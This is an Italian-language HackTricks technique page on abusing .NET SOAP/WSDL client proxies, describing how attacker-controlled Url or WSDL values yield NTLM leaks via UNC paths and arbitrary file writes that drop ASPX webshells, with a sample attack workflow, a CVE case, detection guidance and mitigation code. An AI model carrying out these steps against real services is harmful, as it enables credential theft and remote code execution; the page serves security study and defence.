.NET SOAP/WSDL Client Proxy Abuse

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

TL;DR

  • SoapHttpClientProtocol, DiscoveryClientProtocol and friends ereditano da HttpWebClientProtocol, il cui GetWebRequest() ritorna l’istanza scheme-agnostic WebRequest prodotta da WebRequest.Create() senza forzare HttpWebRequest.
  • Se un attacker controlla il Url del proxy, il framework sostituisce silenziosamente handler FileWebRequest, FtpWebRequest o UNC/SMB, trasformando proxy “HTTP” in gadget di NTLM leak o in scrittori di file arbitrari.
  • Qualsiasi funzionalità che importa WSDL forniti dall’attacker usando ServiceDescriptionImporter peggiora il bug: il WSDL controlla il constructor del proxy generato, i metodi SOAP, i complex types e gli namespace, permettendo RCE pre-auth (webshells, drop di script) in prodotti come Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell e SSIS.

Root cause: HttpWebClientProtocol is scheme-agnostic

WebClientProtocol.GetWebRequest() fa var req = WebRequest.Create(uri) e lo ritorna intatto. HttpWebClientProtocol.GetWebRequest() prova req as HttpWebRequest per impostare campi solo-HTTP, ma ritorna comunque il req originale anche quando il cast fallisce. Di conseguenza il runtime obbedisce allo scheme presente in Url:

  • http(s)://HttpWebRequest
  • file:/// or \\host\share\FileWebRequest
  • ftp://FtpWebRequest

SoapHttpClientProtocol.Invoke() poi streama il body POST SOAP attraverso qualunque transport handler sia stato selezionato, anche se questo significa scrivere su disco o via SMB.

Primitive 1 – NTLM capture / relay via UNC targets

  1. Ottieni controllo su SoapHttpClientProtocol.Url (setter diretto, valore di config, riga di database, ecc.).
  2. Puntalo a un percorso UNC come file://attacker.local/sink/payload.
  3. Il CLR apre il percorso via SMB e svolge integrated authentication, leaking NTLM challenge/response to the attacker.
  4. Usa gli hash catturati per cracking offline o NTLM relay (SMB/HTTP) se signing/EPA non sono presenti.

Questo si applica a qualsiasi .NET SOAP/HTTP proxy path che accetta input utente, anche se non è possibile altro sfruttamento.

Primitive 2 – Arbitrary file writes via file://

  1. Imposta Url = "file:///inetpub/wwwroot/poc.aspx" (o qualsiasi percorso scrivibile) prima della chiamata al proxy.
  2. Invoca qualsiasi metodo SOAP; il framework scrive l’intera SOAP envelope nel percorso scelto, sovrascrivendo file esistenti.
  3. Argomenti controllati dall’utente appaiono dentro elementi XML, permettendo ad attacker di dropare CSHTML/ASPX payloads o avvelenare config files.

Limitazioni:

  • Il contenuto è sempre XML; i campi scalar sono entity-encoded, quindi iniettare <script> tramite stringhe plain richiede trucchi aggiuntivi.
  • Payload significativi richiedono almeno un argomento influenzato dall’attacker o la possibilità di modificare la signature del metodo (vedi WSDL abuse).

Il runtime spesso lancia Client found response content type of 'application/octet-stream', but expected 'text/xml' dopo la scrittura—tratta questo errore come un IOC.

Weaponizing WSDL imports

Auto-generated proxies via ServiceDescriptionImporter

Molti prodotti espongono feature “custom web service” che accettano un WSDL URL, poi:

  1. ServiceDescription.Read() il WSDL controllato dall’attacker.
  2. ServiceDescriptionImporter genera classi proxy C# che estendono SoapHttpClientProtocol.
  3. CodeDOM compila il proxy e reflection invoca il metodo richiesto.

L’attacker controlla totalmente:

  • soap:address / soap12:address location → diventa base.Url (può impostare file:// o percorsi UNC).
  • Nomi dei metodi, liste di parametri, complex types e serializer.
  • Namespace URI che finiscono come attributi xmlns:* in ogni SOAP message.

Non viene effettuata nessuna validazione dello scheme, quindi ogni proxy generato eredita il difetto originale.

Shaping the SOAP envelope for RCE

  • Complex type serialization: Definisci struct custom nel WSDL in modo che quando XmlSerializer li re-emette producano nomi/attributi di elemento scelti dall’attacker. Per drop di webshell ASPX, costruisci tipi che serializzano in:
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>

e punta Url a file:///.../webroot/shell.aspx per ottenere RCE.

  • Namespace injection: Anche quando gli argomenti sono hard-coded (es. Umbraco Forms), i namespace dichiarati nel WSDL (es. xmlns:tns="http://host/service?x=@{...}") sono copiati pedissequamente nell’envelope SOAP. Encodare payload dentro la query string del namespace abilita drop di CSHTML Razor o script PowerShell senza controllo sui parametri.

Queste tecniche hanno alimentato l’exploit per Barracuda Service Center RMM (CVE-2025-34392): una chiamata SOAP non autenticata fornì un WSDL maligno, impostò soap12:address su file:///Program Files/.../SCMessaging/poc.aspx, injectò <script runat="server"> tramite parametri complex, e uploadò una webshell che eseguiva comandi cmd.exe arbitrari.

Typical attack workflow

  1. Identifica funzionalità che accettano un WSDL URL o che permettono agli utenti di configurare SOAP endpoints (es. Barracuda InvokeRemoteMethod, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShell New-WebServiceProxy).
  2. Ospita un WSDL maligno il cui soap:address punta a un percorso scrivibile o a una share UNC e le cui definizioni di schema forniscono metodi/typed favorevoli al payload.
  3. Triggera l’import/compilazione. Il target emette un proxy DLL con constructor e metodi controllati dall’attacker.
  4. Quando l’applicazione invoca il metodo generato, la richiesta SOAP viene serializzata e scritta nel percorso specificato dall’attacker, incorporando il payload.
  5. Esegui il file droppato (browse su poc.aspx?cmd=whoami, carica il CSHTML, o lascia che PowerShell esegua lo script) o replaya materiale NTLM catturato.

Detection & hunting

  • Static analysis: Greppa per ServiceDescriptionImporter, SoapHttpClientProtocol, HttpWebClientProtocol, o New-WebServiceProxy. Traccia come Url o input WSDL sono originati—qualsiasi cosa controllata dall’utente è un red flag.
  • Runtime telemetry:
  • Instrumenta la creazione dei proxy per loggare gli schemes; allerta su valori file, ftp, o UNC.
  • Monitora per l’errore caratteristico “Client found response content type of ‘application/octet-stream’” dopo chiamate SOAP.
  • Sorveglia scritture inaspettate di .aspx/.cshtml/.ps1 sotto directory dell’applicazione eseguite dall’identità del web service.
  • Network/file signals: connessioni SMB iniziate da web server verso infrastruttura attacker, o compilazioni improvvise di proxy DLL temporanei, spesso precedono lo sfruttamento.

Mitigations

  • Enforce transport validation prima di invocare qualsiasi proxy derivato da HttpWebClientProtocol:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
  • Sanitize imported WSDL: fai il download del proxy tramite un broker che riscrive o rifiuta voci soap:address non HTTP/S, rimuove binding sconosciuti e proibisce trick sui namespace.
  • Disable untrusted WSDL features: sostituisci le comodità di “upload a WSDL” con template server-side verificati o allowlist.
  • Segregate write locations: assicurati che gli app pool non possano scrivere in directory eseguibili; usa volumi separati per data vs. code in modo che primitive di scrittura file non diventino RCE.
  • Harden NTLM exposure: disabilita SMB outbound dove possibile; altrimenti applica SMB signing, EPA e altre mitigazioni contro relay.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks